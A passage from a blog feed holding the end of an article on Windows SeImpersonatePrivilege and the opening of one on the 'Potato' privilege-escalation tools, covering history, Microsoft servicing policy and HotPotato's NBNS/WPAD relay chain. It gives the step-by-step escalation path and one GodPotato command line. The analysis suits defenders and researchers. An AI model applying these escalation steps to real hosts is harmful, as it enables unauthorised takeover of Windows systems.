No. Microsoft has shipped CVEs for specific token-source primitives -- LocalPotato as CVE-2023-21746 [@nvd-cve-2023-21746], SilverPotato as CVE-2024-38061 [@nvd-cve-2024-38061], FakePotato as CVE-2024-38100 [@nvd-cve-2024-38100], the three-phase DCOM hardening as CVE-2021-26414 [@nvd-cve-2021-26414] -- but the underlying impersonation surface is documented-as-policy not to be addressed as a security boundary [@msrc-windows-security-servicing-criteria; @pierini-cocomazzi-troopers24-talk]. GodPotato remains functional across its tested README matrix (Server 2012-2022 / Windows 8-11) with no public Microsoft patch through mid-2026 [@beichendream-godpotato-readme]. PrintSpoofer and CoercedPotato variants remain functional on most hosts [@labro-2020-printspoofer-post; @prepouce-coercedpotato-repo]. The pattern is per-CVE closure of individual variants while the underlying privilege + coercion-API geometry remains in place.

Both, but the architectural responsibility is Windows&apos;s. The privilege is a Windows design decision; the coerced-authentication primitives are Windows components (RPCSS, Print Spooler, EFS RPC server). A service developer cannot opt out of `SeImpersonatePrivilege` by writing better code -- the SCM grants the privilege as part of the account setup, not at the developer&apos;s request. A service developer *can* run under a custom account configured without the privilege, but most service code paths assume impersonation works (especially Win32-era code, where `RpcImpersonateClient` is the standard idiom) and break in subtle ways without it.

Yes. IIS application pools cannot perform Windows-authenticated user impersonation; Exchange cannot run mailbox operations under the connecting user&apos;s identity; SQL Server cannot enforce per-login row security under Windows authentication; the SMB and EFS RPC servers cannot impersonate their callers [@ms-learn-impersonate-policy; @ms-learn-impersonatenamedpipeclient]. The MSRC policy text on the impersonation-policy page is explicit that the privilege is required for legitimate impersonation [@ms-learn-impersonate-policy]. Audit before you remove.

No. The Adminless / Administrator Protection feature is a per-action consent surface for interactive administrators [@ms-learn-admin-protection]. Service accounts (services, MSAs, gMSAs, virtual accounts) are out of scope by construction because none of them is an interactive admin account. The new boundary does not apply to the service-account population this article is about. There is no public Microsoft roadmap to extend it.

Because the named-pipe RPC server population (the SMB redirector, the Print Spooler, the EFS RPC server, and the long tail of pre-modern Win32 services) depends on this specific API, and the Microsoft-recommended alternatives (`RpcImpersonateClient`, the LSA-side variants) ultimately compose into the same kernel-side call -- §7.3 walks through the full ABI migration cost. The MSRC servicing carve-out [@msrc-windows-security-servicing-criteria] is the policy-level acknowledgement that the cost is not on the table.
&lt;h2&gt;12. The Line, Re-read&lt;/h2&gt;
&lt;p&gt;Bring the reader back to where this started: one line in &lt;code&gt;whoami /priv&lt;/code&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;SeImpersonatePrivilege  Impersonate a client after authentication  Enabled
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now you know what it means. The line ships in the default token of every IIS application pool worker, every SQL Server service step, every Exchange worker process, and every other LOCAL SERVICE / NETWORK SERVICE-derived account on every shipping Windows release. The line gates &lt;code&gt;CreateProcessWithTokenW&lt;/code&gt;. The kernel-level token-substitution surface sits behind that gate. The named-pipe coercion API on the other side of the gate has shipped since Windows XP / Server 2003 and remains the dominant token source on the platform. Microsoft has shipped five containment mitigations in nineteen years -- each closes a real surface; none closes this primitive. The doctrinal articulation came at Troopers 24: Windows Service Hardening is a &lt;em&gt;safety&lt;/em&gt; boundary, not a &lt;em&gt;security&lt;/em&gt; boundary [@pierini-cocomazzi-troopers24-talk]. The 1988 ceiling that explains why is older than the operating system.&lt;/p&gt;

Microsoft gave every NETWORK SERVICE a privilege that, in the wrong hands, is equivalent to SYSTEM. They knew -- the MSRC said as much in April 2009 [@msrc-blog-2009-04-token-kidnapping]. They could not change it without breaking the service model: every closure path carries a documented compatibility cost they have explicitly declined to accept [@msrc-windows-security-servicing-criteria]. Pierini and Cocomazzi made the doctrine quotable at Troopers 24 [@pierini-cocomazzi-troopers24-talk]: WSH is a safety boundary, not a security boundary. Roughly eighteen years after Cerrudo first put that fact on the record [@cerrudo-2008-pdf], ten years after HotPotato made it pushbutton [@breen-2016-hot-potato], and three years after GodPotato survived the most aggressive DCOM hardening Microsoft has shipped [@beichendream-godpotato-readme; @nvd-cve-2021-26414], the primitive is still in place. It is not unpatched. It is documented-as-policy not to be patched.
&lt;p&gt;For the variant-by-variant chronology this article deliberately deferred -- HotPotato, RottenPotato, JuicyPotato, JuicyPotatoNG, PrintSpoofer, EfsPotato, CoercedPotato, RoguePotato, RemotePotato0, GodPotato, LocalPotato, SilverPotato, FakePotato -- see the sibling Potato Family article (2026-05-31). That article catalogues each named tool&apos;s CLSID, coercion primitive, and patch state. This one was about why the family exists at all.&lt;/p&gt;
&lt;p&gt;The one line in &lt;code&gt;whoami /priv&lt;/code&gt; is not a bug. It is the decision.&lt;/p&gt;
&lt;p&gt;&amp;lt;StudyGuide slug=&quot;seimpersonateprivilege-and-the-service-account-attack-surface&quot; keyTerms={[
  { term: &quot;SeImpersonatePrivilege&quot;, definition: &quot;Windows user right (constant SE_IMPERSONATE_NAME) that gates CreateProcessWithTokenW and the higher-level forms of ImpersonateNamedPipeClient; default-assigned and enabled on LOCAL SERVICE, NETWORK SERVICE, and Administrators.&quot; },
  { term: &quot;ImpersonateNamedPipeClient&quot;, definition: &quot;Win32 API by which a named-pipe-server thread receives the connected client&apos;s access token; shipped since Windows XP / Server 2003; the dominant token-source primitive on the platform.&quot; },
  { term: &quot;Confused Deputy&quot;, definition: &quot;Norm Hardy&apos;s 1988 name for the structural attack class in which a server holds more authority than its clients and acts on client requests, with no architectural way to keep the two authorities apart. The Potato lineage is the Windows-specific instantiation.&quot; },
  { term: &quot;Primary Token vs Impersonation Token&quot;, definition: &quot;Two flavours of the Windows access-token kernel object: primary tokens attach to processes for the process lifetime; impersonation tokens attach to individual threads and override the primary token for the thread&apos;s access checks.&quot; },
  { term: &quot;Impersonation Level&quot;, definition: &quot;Four-value enum (Anonymous, Identification, Impersonation, Delegation) carried on every impersonation token. Only Impersonation and Delegation tokens can be used to spawn a process under the borrowed identity.&quot; },
  { term: &quot;OXID Resolver&quot;, definition: &quot;The DCOM service that maps an OXID (Object Exporter Identifier) to the RPC binding string for a marshalled COM object. The Rotten/Juicy Potato chain forges OBJREF blobs with attacker-controlled OXID resolver fields.&quot; },
  { term: &quot;Windows Service Hardening (WSH)&quot;, definition: &quot;Microsoft&apos;s umbrella term for the post-2003 service-account mitigation stack (Service SIDs, restricted tokens, integrity levels, LPAC variants). Documented-as-policy a safety boundary, not a security boundary.&quot; },
  { term: &quot;Service SID&quot;, definition: &quot;A SID of the form NT SERVICE\\, generated as the SHA1 hash of the uppercased service name, attached to a service-process token to permit per-service ACLs without granting them to every service sharing the account.&quot; },
  { term: &quot;Restricted Token&quot;, definition: &quot;A token carrying a restricting-SID set in addition to its regular group SIDs; the kernel grants access only when both sets satisfy the ACL. Used to limit a compromised service&apos;s write surface.&quot; },
  { term: &quot;MSRC Servicing Criteria&quot;, definition: &quot;Microsoft&apos;s public policy document defining what counts as a security boundary for servicing purposes. The two-question test gates whether a vulnerability is addressed via a security update or merely considered for a future release.&quot; }
]} questions={[
  { q: &quot;Why does NETWORK SERVICE hold SeImpersonatePrivilege by default?&quot;, a: &quot;Because the 2003 service-hardening pivot moved services off NT AUTHORITY\\SYSTEM, but those services still needed to impersonate their RPC clients to enforce per-user access. The privilege was created as the named user right that lets the new low-privileged accounts keep doing what SYSTEM had implicitly done.&quot; },
  { q: &quot;What three components combine into the three-piece theorem of section 5?&quot;, a: &quot;(1) SeImpersonatePrivilege default-assigned to LOCAL SERVICE and NETWORK SERVICE; (2) the ImpersonateNamedPipeClient coercion API shipped since Windows XP / Server 2003; (3) the MSRC servicing-criteria carve-out treating WSH as a safety boundary rather than a security boundary.&quot; },
  { q: &quot;Why did MS09-012 not close the Potato family?&quot;, a: &quot;Because MS09-012 (the bulletin behind Cerrudo&apos;s &lt;em&gt;Chimichurri&lt;/em&gt; PoC) closed the specific handle-leak surface Cerrudo&apos;s 2008 disclosure used. It did not revoke SeImpersonatePrivilege, did not modify CreateProcessWithTokenW, and did not modify ImpersonateNamedPipeClient. The MSRC blog explicitly acknowledged on the record that the privilege was sufficient for the escalation but elected to fix the symptom, not the gate.&quot; },
  { q: &quot;What is the difference between primitive-level and named-tool detection, and why does it matter?&quot;, a: &quot;Primitive-level detection (e.g., the Elastic rogue-named-pipe rule) matches the pattern every Potato variant generates regardless of binary identity; named-tool detection (e.g., the Sigma LocalPotato rule) matches a specific binary&apos;s fingerprint via IMPHASH and CLI selectors. Named-tool detection is trivially evaded by rename or recompile; primitive-level detection survives re-tooling at the cost of a higher false-positive rate.&quot; },
  { q: &quot;If GodPotato is patchable in principle, why has Microsoft not patched it?&quot;, a: &quot;Because patching GodPotato requires changing either RPCSS&apos;s OXID-handling logic or the LSASS cached-token logic Forshaw documented in April 2020 -- both structural properties whose modification would cascade through dozens of dependent components. The MSRC servicing-criteria carve-out frames the broader class as a safety boundary, so individual variants in that class do not receive security-update servicing. GodPotato sits squarely in the carved-out region.&quot; }
]} /&amp;gt;&lt;/p&gt;
</content:encoded><category>windows-internals</category><category>privilege-escalation</category><category>access-tokens</category><category>service-hardening</category><category>potato-family</category><category>msrc</category><category>confused-deputy</category><author>noreply@paragmali.com (Parag Mali)</author></item><item><title>SYSTEM in Ten Seconds: How the Potato Family Survived Every Microsoft Mitigation</title><link>https://paragmali.com/blog/system-in-ten-seconds-how-the-potato-family-survived-every-m/</link><guid isPermaLink="true">https://paragmali.com/blog/system-in-ten-seconds-how-the-potato-family-survived-every-m/</guid><description>A decade of Windows local privilege escalation -- HotPotato through FakePotato -- rests on one architectural decision Microsoft has refused to revisit.</description><pubDate>Sun, 31 May 2026 00:00:00 GMT</pubDate><content:encoded>
The Potato family is a decade of Windows local privilege escalation, eleven named variants
disclosed between January 2016 (HotPotato) and August 2024 (FakePotato), all pivoting on the same
primitive: `SeImpersonatePrivilege` (introduced as a defined user right in the Windows 2000 SP4 /
XP SP2 / Server 2003 hardening cycle [@msrc-token-kidnapping; @ms-impersonate-policy]) plus `ImpersonateNamedPipeClient`
(a Win32 primitive documented as supported since Windows XP for clients and Windows Server 2003
for servers [@ms-impersonate-api]). Each variant -- HotPotato (January 2016), RottenPotato,
JuicyPotato, RoguePotato, PrintSpoofer, RemotePotato0, JuicyPotatoNG, GodPotato (the 2026
default), LocalPotato (CVE-2023-21746), SilverPotato, FakePotato (CVE-2024-38100) -- defeats a
specific Microsoft mitigation, but no mitigation closes the family. The structural reason is the
MSRC Windows Security Servicing Criteria, which treats the `SeImpersonatePrivilege`-to-SYSTEM
transition as a safety boundary, not a security boundary. The Potato class is therefore an
architectural decision, not a bug.
&lt;h2&gt;1. A Web Shell, Ten Seconds, SYSTEM&lt;/h2&gt;
&lt;p&gt;A red teamer drops a web shell on an Internet Information Services server running as &lt;code&gt;IIS APPPOOL\DefaultAppPool&lt;/code&gt;. Ten seconds later, the shell prints &lt;code&gt;nt authority\system&lt;/code&gt;. The operator did not exploit a memory-corruption bug, did not bypass a kernel security boundary, did not even use an undocumented API. They invoked &lt;code&gt;CoCreateInstance&lt;/code&gt; against a Distributed COM (DCOM) class identifier, waited for the SYSTEM-context RPCSS service to authenticate to a named pipe they owned, and called &lt;code&gt;ImpersonateNamedPipeClient&lt;/code&gt; [@ms-impersonate-api]. Every step was documented Win32 behaviour. The exploit is that Microsoft has spent a decade refusing to call any of those steps a security boundary [@msrc-servicing-criteria; @troopers24].&lt;/p&gt;
&lt;p&gt;The artefact in the operator&apos;s hand is one of several. In May 2026 it is most likely &lt;code&gt;GodPotato.exe -cmd &quot;cmd /c whoami&quot;&lt;/code&gt; -- a single Apache 2.0-licensed binary that BeichenDream published on GitHub on December 23, 2022 [@beichendream-god]. The README says it works on every supported Windows release from Windows 8 through Windows 11, and from Server 2012 through Server 2022 [@beichendream-god]. Community testing has since extended the working range to Server 2025 with default Distributed COM hardening enabled [@compass-three-headed].&lt;/p&gt;

A Windows user-rights assignment that lets a thread substitute another user&apos;s security context for its own (typically via `ImpersonateNamedPipeClient` or `ImpersonateLoggedOnUser`). Granted by default to `LOCAL SERVICE`, `NETWORK SERVICE`, every Internet Information Services application-pool identity, and most service accounts [@ms-impersonate-policy]. Introduced as a defined user right in the Windows 2000 SP4 / XP SP2 / Server 2003 service-hardening cycle that MSRC discusses in its 2009 Token Kidnapping retrospective [@msrc-token-kidnapping], after which possessing it has been one named-pipe round-trip away from being SYSTEM.
&lt;p&gt;The IIS context matters. The default application-pool identity holds &lt;code&gt;SeImpersonatePrivilege&lt;/code&gt; because IIS depends on it for legitimate request-scoped impersonation [@itm4n-printspoofer]. So does the default SQL Server service account, the Background Intelligent Transfer Service (BITS) account, the Spooler service account, and every account that hosts a Windows service that may need to &quot;act as&quot; a calling user. Anyone who can run code inside one of those accounts can run code as SYSTEM in seconds.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; Every step the operator takes -- &lt;code&gt;CoCreateInstance&lt;/code&gt;, the SYSTEM-context RPCSS authentication, &lt;code&gt;ImpersonateNamedPipeClient&lt;/code&gt;, the subsequent &lt;code&gt;CreateProcessWithToken&lt;/code&gt; -- is in Microsoft&apos;s published Win32 contract [@ms-impersonate-api; @ms-dcom-spec]. None of them is a memory-corruption bug. The &quot;exploit&quot; is the existence of a documented call sequence that turns a service account into SYSTEM, on a fully-patched Windows 11 box, in 2026.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;This is the puzzle the rest of the article is here to solve. The technique has been a one-binary operation for nearly a decade [@troopers24]. Microsoft has shipped three named hardening waves against it (a 2019-2020 OXID-resolver fix [@forshaw-pz-2021]; the three-phase CVE-2021-26414 Distributed COM hardening rollout from June 2021 to March 2023 [@ms-kb5004442]; and per-variant CVE patches in 2023 and 2024 [@nvd-cve-2023-21746; @nvd-cve-2024-38100]). None of those waves closed the family. Why?&lt;/p&gt;
&lt;h2&gt;2. The Architectural Primitive&lt;/h2&gt;
&lt;p&gt;The answer is in a Microsoft document called the &lt;a href=&quot;https://paragmali.com/blog/windows-security-boundaries-the-document-that-decides-what-g/&quot; rel=&quot;noopener&quot;&gt;Windows Security Servicing Criteria&lt;/a&gt; [@msrc-servicing-criteria]. It defines what Microsoft will and will not service as a security vulnerability. Quoting the document directly: &quot;A security boundary provides a logical separation between the code and data of security domains with different levels of trust&quot; [@msrc-servicing-criteria]. The page then lists the boundaries Microsoft has defined for Windows -- kernel mode versus user mode, virtual machine versus host, session versus session, and so on. The list is the &lt;em&gt;enumeration&lt;/em&gt; that decides which bug classes get CVEs and which do not.&lt;/p&gt;
&lt;p&gt;The Potato family pivots on a transition that is conspicuously &lt;em&gt;not&lt;/em&gt; on the list: a service account that holds &lt;code&gt;SeImpersonatePrivilege&lt;/code&gt; becoming SYSTEM. As Andrea Pierini and Antonio Cocomazzi articulated in the Troopers 24 retrospective, Microsoft&apos;s published position is that the Windows Service Hardening boundary is a &lt;em&gt;safety&lt;/em&gt; boundary rather than a &lt;em&gt;security&lt;/em&gt; boundary, which is why so many Potato exploits continue to work on fully updated Windows systems [@troopers24]. WSH is Microsoft&apos;s own shorthand for &lt;strong&gt;Windows Service Hardening&lt;/strong&gt; -- the family of post-XP-SP2 protections that isolate service accounts from one another. The position is consistent with everything Microsoft has shipped: per-variant patches when a specific vehicle becomes too embarrassing, and silence on the underlying primitive. (The verbatim Troopers 24 articulation appears in §13.)&lt;/p&gt;

The boundary *definition* on `microsoft.com/en-us/msrc/windows-security-servicing-criteria` is rendered in static HTML and can be fetched directly [@msrc-servicing-criteria]. The boundary *enumeration table* immediately below it, which lists the bug classes that do and do not get CVEs, is JavaScript-rendered and does not appear in static fetches. The community-canonical secondary source for what is on that list is the Troopers 24 talk by Pierini and Cocomazzi [@troopers24], cross-referenced against James Forshaw&apos;s Project Zero retrospective from October 2021 [@forshaw-pz-2021] and Mark Russinovich&apos;s `aka.ms/win-security-boundaries` paraphrase. This article cites the primary for the definition and the Troopers retrospective for the enumeration.
&lt;p&gt;Three primitives, taken together, mechanically determine the entire family. Once they are stated, the only remaining question is which SYSTEM-context service is cheapest to coerce.&lt;/p&gt;
&lt;h3&gt;Primitive one: SeImpersonatePrivilege&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;SeImpersonatePrivilege&lt;/code&gt; is a Windows user-rights assignment that permits a thread to call &lt;code&gt;ImpersonateNamedPipeClient&lt;/code&gt;, &lt;code&gt;ImpersonateLoggedOnUser&lt;/code&gt;, and the related impersonation APIs [@ms-impersonate-policy]. By Windows default, it is granted to &lt;code&gt;LOCAL SERVICE&lt;/code&gt;, &lt;code&gt;NETWORK SERVICE&lt;/code&gt;, every Internet Information Services application-pool identity, and most service accounts that need to act on behalf of clients [@itm4n-printspoofer]. (For when the right was introduced and a working definition, see §1; Decoder&apos;s one-sentence summary of what the grant means in practice is the climactic PullQuote in §6.3.)&lt;/p&gt;
&lt;h3&gt;Primitive two: ImpersonateNamedPipeClient&lt;/h3&gt;

A Win32 API that lets the server end of a named pipe adopt the security context of whoever just connected to that pipe. After the call, the calling thread holds an impersonation token for the client identity, and any subsequent system call (including `CreateProcessWithToken`) executes as that identity. The function has been part of `namedpipeapi.h` since Windows XP for clients and Windows Server 2003 for servers, with no deprecation notice as of the 2025-07-01 documentation revision [@ms-impersonate-api].
&lt;p&gt;The mechanism is exactly the one a SYSTEM-context service uses for legitimate request-scoped impersonation. The Potato class subverts it by getting a SYSTEM-context service to connect to a pipe the attacker owns. No memory corruption, no kernel exploit, no undocumented API. The Win32 reference describes the call as the standard way for a pipe server to &quot;impersonate the client end&quot; [@ms-impersonate-api].&lt;/p&gt;
&lt;h3&gt;Primitive three: the MSRC servicing-criteria carve-out&lt;/h3&gt;
&lt;p&gt;The third primitive is policy, not code. The MSRC document distinguishes a &lt;em&gt;security boundary&lt;/em&gt; (whose violation gets a CVE and a security update) from a &lt;em&gt;safety boundary&lt;/em&gt; (where Microsoft will patch when convenient but does not commit to a service-level objective). The defensible reading, articulated explicitly by Pierini and Cocomazzi at Troopers 24, is that the SYSTEM-from-&lt;code&gt;SeImpersonate&lt;/code&gt; transition lives on the safety side [@troopers24]. The implication is structural: a service account holding &lt;code&gt;SeImpersonatePrivilege&lt;/code&gt; &quot;is already privileged&quot; in Microsoft&apos;s policy view. Promoting it to SYSTEM is therefore not a privilege escalation that requires a security update.&lt;/p&gt;

flowchart LR
    A[Service account with SeImpersonatePrivilege] --&amp;gt; B[Coerce SYSTEM-context service to connect to attacker-owned named pipe]
    B --&amp;gt; C[Call ImpersonateNamedPipeClient on server thread]
    C --&amp;gt; D[Thread now holds SYSTEM impersonation token]
    D --&amp;gt; E[CreateProcessWithToken spawns SYSTEM process]
    F[MSRC servicing criteria carve-out] -.-&amp;gt;|&quot;Allows step A to remain a default grant&quot;| A
    F -.-&amp;gt;|&quot;Allows step C to remain a documented Win32 API&quot;| C
&lt;p&gt;Taken together, the three primitives reduce the entire Potato family to a single problem statement: &lt;em&gt;find the cheapest SYSTEM-context service to coerce into a callback&lt;/em&gt;. Every named variant since 2016 is an answer to that problem.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key idea:&lt;/strong&gt; Microsoft does not consider the &lt;code&gt;SeImpersonatePrivilege&lt;/code&gt;-to-SYSTEM transition a security boundary; it considers it a safety boundary. The Potato family is the consequence. Variants change vehicles -- NetBIOS spoofing, BITS DCOM, Print Spooler RPC, EFS RPC, RPCSS OXID, ShellWindows -- but every one of them lives on the same architectural carve-out [@troopers24; @msrc-servicing-criteria].&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The phrase &lt;code&gt;aka.ms/win-security-boundaries&lt;/code&gt; was popularised by Mark Russinovich&apos;s Channel 9 talks of the late 2010s. Channel 9 was retired on December 1, 2021, so the link is now mostly cited as a memorable handle for the boundary list rather than as a clickable URL. The live equivalent is the MSRC servicing criteria document itself [@msrc-servicing-criteria].&lt;/p&gt;
&lt;p&gt;Given primitives this old and this widely default-granted -- both the named-pipe impersonation API and the &lt;code&gt;SeImpersonatePrivilege&lt;/code&gt; user right have been in their current form since the Windows 2000 SP4 / Server 2003 / XP SP2 service-hardening cycle [@msrc-token-kidnapping; @ms-impersonate-policy; @ms-impersonate-api] -- the natural question is why the named Potato family did not appear until 2016. The next section is the answer.&lt;/p&gt;
&lt;h2&gt;3. The Long Pre-Potato Era, 2001-2015&lt;/h2&gt;
&lt;p&gt;In March 2008, Cesar Cerrudo stood on a stage in Dubai at Hack-in-the-Box and demonstrated that a SYSTEM-context Windows service holding &lt;code&gt;SeImpersonatePrivilege&lt;/code&gt; was, in effect, one named-pipe call away from SYSTEM [@cerrudo-hitb-slides; @msrc-token-kidnapping]. Microsoft acknowledged the technique on the MSRC blog on April 14, 2009, and shipped MS09-012 -- the patch Cerrudo later nicknamed &quot;Chimichurri&quot; in his Black Hat USA 2010 follow-up [@msrc-token-kidnapping; @blackhat-2010-cerrudo]. Cerrudo extended the work two years later at Black Hat USA 2010 in a paper titled &quot;Token Kidnapping&apos;s Revenge&quot; [@blackhat-2010-cerrudo]. Microsoft patched the specific NetworkService-to-SYSTEM vehicle. They did not revoke the privilege from the service accounts that held it [@msrc-token-kidnapping].&lt;/p&gt;
&lt;p&gt;That pattern -- patch the vehicle, leave the primitive -- is the family&apos;s bequest from Cerrudo.&lt;/p&gt;

NTLM **relay** forwards an NTLM authentication captured from victim A to a different server B, where the attacker authenticates as A. NTLM **reflection** is the special case where B is the same machine (often the same protocol) as A. Microsoft fixed the most obvious same-protocol case with MS08-068 in 2008 [@ms-ms08-068]. Cross-protocol reflection (HTTP-to-SMB, DCOM-to-RPC) was not closed by that patch and became the doorway through which the Potato family entered.
&lt;p&gt;Seven years before Cerrudo, on March 31, 2001, Sir Dystic of the Cult of the Dead Cow stood on a different stage at @lanta.con in Atlanta and released SMBRelay, the first public same-protocol &lt;a href=&quot;https://paragmali.com/blog/ntlmless-the-death-of-ntlm-in-windows/&quot; rel=&quot;noopener&quot;&gt;NTLM relay&lt;/a&gt; tool [@cultdeadcow-smbrelay]. Microsoft eventually responded with MS08-068, a &lt;em&gt;same-protocol-only&lt;/em&gt; fix [@ms-ms08-068]. Cross-protocol relay -- HTTP to SMB, DCOM to local RPC -- remained open.&lt;/p&gt;
&lt;p&gt;That opening was the canvas James Forshaw painted on. In December 2014, then at Google Project Zero, Forshaw filed Issue 222 (&quot;Windows: Local WebDAV NTLM Reflection EoP&quot;) demonstrating that the WebClient service performs NTLM authentication when asked to open a WebDAV URL, and that the resulting NTLM session can be reflected cross-protocol to the local SMB service [@forshaw-pz-2021]. A few months later Forshaw filed Issue 325, showing that &lt;code&gt;CoGetInstanceFromIStorage&lt;/code&gt; could coerce a DCOM activation into authenticating to an attacker-controlled TCP endpoint. Microsoft patched the 2015 issue as CVE-2015-2370 [@nvd-cve-2015-2370]. In his October 2021 retrospective Forshaw wrote, with the laconic precision of a researcher whose contributions are still being weaponised seven years later:&lt;/p&gt;

The technique to locally relay authentication for DCOM was something I originally reported back in 2015 (issue 325). This issue was fixed as CVE-2015-2370, however the underlying authentication relay using DCOM remained. This was repurposed and expanded upon by various others for local and remote privilege escalation in the RottenPotato series of exploits. -- James Forshaw, Project Zero, October 2021 [@forshaw-pz-2021]
&lt;p&gt;Cerrudo nicknamed the MS09-012 patch &quot;Chimichurri&quot; after the Argentine green sauce, and used the name when he reprised the work at Black Hat USA 2010 [@blackhat-2010-cerrudo]. Cerrudo was at Argeniss and later IOActive when he developed the technique [@msrc-token-kidnapping; @blackhat-2010-cerrudo].&lt;/p&gt;
&lt;p&gt;The primary artefact for Cerrudo&apos;s March 2008 Hack-in-the-Box Dubai talk (slides, video, abstract) is no longer reachable on the conference site; the MSRC blog&apos;s retrospective is the canonical secondary that anchors the date and venue [@msrc-token-kidnapping]. The Black Hat USA 2010 &quot;Token Kidnapping&apos;s Revenge&quot; whitepaper [@blackhat-2010-cerrudo] is the durable primary for the underlying technique.&lt;/p&gt;

gantt
    title Pre-Potato lineage 2001-2015
    dateFormat YYYY-MM
    section NTLM relay
    SMBRelay (Sir Dystic) :a1, 2001-03, 1M
    MS08-068 same-protocol fix :a2, 2008-10, 1M
    section Token escalation
    Token Kidnapping HITB Dubai (Cerrudo) :b1, 2008-03, 1M
    MS09-012 Chimichurri :b2, 2009-04, 1M
    Token Kidnapping&apos;s Revenge (Cerrudo) :b3, 2010-07, 1M
    section DCOM primitive
    Project Zero Issue 222 (Forshaw) :c1, 2014-12, 1M
    Project Zero Issue 325 (Forshaw) :c2, 2015-04, 1M
    CVE-2015-2370 patch :c3, 2015-07, 1M
&lt;p&gt;By the end of 2015 the three pieces were on the table. A long-standing default privilege grant (Cerrudo&apos;s &quot;SeImpersonate equals SYSTEM&quot; thesis). A specific cross-protocol reflection technique (Forshaw&apos;s WebDAV-to-SMB Issue 222). A specific DCOM-activation coercion primitive (Forshaw&apos;s &lt;code&gt;CoGetInstanceFromIStorage&lt;/code&gt; Issue 325). Microsoft had patched the literal bug in the third piece and explicitly declined to revoke the privilege in the first. The technique was published, the proof-of-concept code was on GitHub, and the family was a binary release away. The next chapter is the moment someone shipped the binary.&lt;/p&gt;
&lt;h2&gt;4. HotPotato, January 16, 2016&lt;/h2&gt;
&lt;p&gt;On January 16, 2016, Stephen Breen of Foxglove Security published a blog post titled &quot;Hot Potato&quot; [@foxglove-hotpotato]. He had just spoken at ShmooCon. The repository, &lt;code&gt;foxglovesec/Potato&lt;/code&gt;, would land on GitHub three weeks later, on February 9, 2016 [@foxglove-potato-repo]. The post&apos;s opening sentence is the family&apos;s birth certificate:&lt;/p&gt;

Hot Potato (aka: Potato) takes advantage of known issues in Windows to gain local privilege escalation in default configurations, namely NTLM relay (specifically HTTP-&amp;gt;SMB relay) and NBNS spoofing. -- Stephen Breen, Foxglove Security, January 16, 2016 [@foxglove-hotpotato]
&lt;p&gt;Breen had not invented NTLM reflection. He had combined three existing primitives into a single-binary, one-click privilege escalation that worked on every default Windows install from Windows 7 through Server 2012 [@foxglove-hotpotato]. The Foxglove post acknowledges the lineage explicitly: &quot;a similar technique was disclosed by the guys at Google Project Zero ... In fact, some of our code was shamelessly borrowed from their PoC&quot; [@foxglove-hotpotato].&lt;/p&gt;
&lt;h3&gt;How HotPotato works&lt;/h3&gt;
&lt;p&gt;The exploit chains three independent tricks. Step one is UDP-port exhaustion. The tool opens enough UDP sockets that the local NetBIOS Name Service (NBNS) name lookups fail, forcing Windows to fall back to broadcast-based name resolution [@foxglove-hotpotato]. Step two is NBNS spoofing of the WPAD hostname, pointed at &lt;code&gt;127.0.0.1&lt;/code&gt;. Step three is the actual reflection: when Windows Update or Windows Defender polls for an update, it consults the WPAD URL, gets the attacker&apos;s proxy auto-configuration script, and routes its HTTP requests through the attacker&apos;s local listener -- which then relays the SYSTEM-context NTLM negotiation to the local SMB service [@foxglove-hotpotato].&lt;/p&gt;

sequenceDiagram
    participant Atk as Hot Potato tool
    participant NBNS as NetBIOS Name Service
    participant WU as Windows Update (SYSTEM)
    participant WPAD as WPAD HTTP listener (attacker)
    participant SMB as Local SMB service
    Atk-&amp;gt;&amp;gt;NBNS: UDP-flood to exhaust ports and force broadcast
    Atk-&amp;gt;&amp;gt;NBNS: Spoof WPAD hostname pointing at 127.0.0.1
    WU-&amp;gt;&amp;gt;WPAD: GET wpad.dat over HTTP
    WPAD--&amp;gt;&amp;gt;WU: Attacker-supplied proxy auto-config
    WU-&amp;gt;&amp;gt;WPAD: HTTP request with SYSTEM-context NTLM negotiate
    WPAD-&amp;gt;&amp;gt;SMB: Reflect the NTLM exchange to local SMB
    SMB--&amp;gt;&amp;gt;Atk: SMB session authenticated as SYSTEM
    Atk-&amp;gt;&amp;gt;Atk: ImpersonateNamedPipeClient and spawn SYSTEM shell
&lt;p&gt;The result was a single binary that produced a SYSTEM shell from any local user account on the target host -- because on a default Windows install every authenticated local user can run code, open UDP sockets, and bind a loopback HTTP listener, which is all HotPotato needs to bootstrap.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; HotPotato does not use Distributed COM activation at all. It uses NetBIOS spoofing, WPAD hijacking, and HTTP-to-SMB cross-protocol relay. The family is named for HotPotato but the &lt;em&gt;defining&lt;/em&gt; primitive of every later variant -- DCOM activation -- is absent. HotPotato is in the family because it pivots through the same &lt;code&gt;SeImpersonatePrivilege&lt;/code&gt; plus named-pipe-impersonation core, which is the actual definition of the family. The repository name &lt;code&gt;Potato&lt;/code&gt; and the family naming convention are both Breen&apos;s [@foxglove-potato-repo].&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The naming pattern that has now produced eleven variants started with the GitHub repository name &lt;code&gt;foxglovesec/Potato&lt;/code&gt; [@foxglove-potato-repo]. Breen later wrote that &quot;Hot&quot; was a riff on the fact that the SYSTEM token was passed around like a hot potato; the suffix convention spread from there organically.&lt;/p&gt;
&lt;h3&gt;Why HotPotato did not last&lt;/h3&gt;
&lt;p&gt;HotPotato had three structural weaknesses. NetBIOS spoofing is unreliable: the UDP-port exhaustion can fail under load, group policy can pin a real WPAD URL, and a legitimate WPAD response can win the race. NetBIOS is disabled in security-hardened environments as a matter of routine. And the HTTP-to-SMB cross-protocol path was the very thing Extended Protection for Authentication and SMB channel-binding tokens were designed to close [@crowdstrike-drop-mic]. On a Windows 10 1607 host with EPA on the SMB server, HotPotato failed.&lt;/p&gt;
&lt;p&gt;Researchers needed a coercion vehicle that was deterministic, did not rely on broadcast spoofing, and used a protocol Microsoft had not yet hardened end-to-end. Forshaw&apos;s Project Zero Issue 325 -- the &lt;code&gt;CoGetInstanceFromIStorage&lt;/code&gt; DCOM trigger -- met all three criteria [@forshaw-pz-2021]. The next variant weaponised it.&lt;/p&gt;
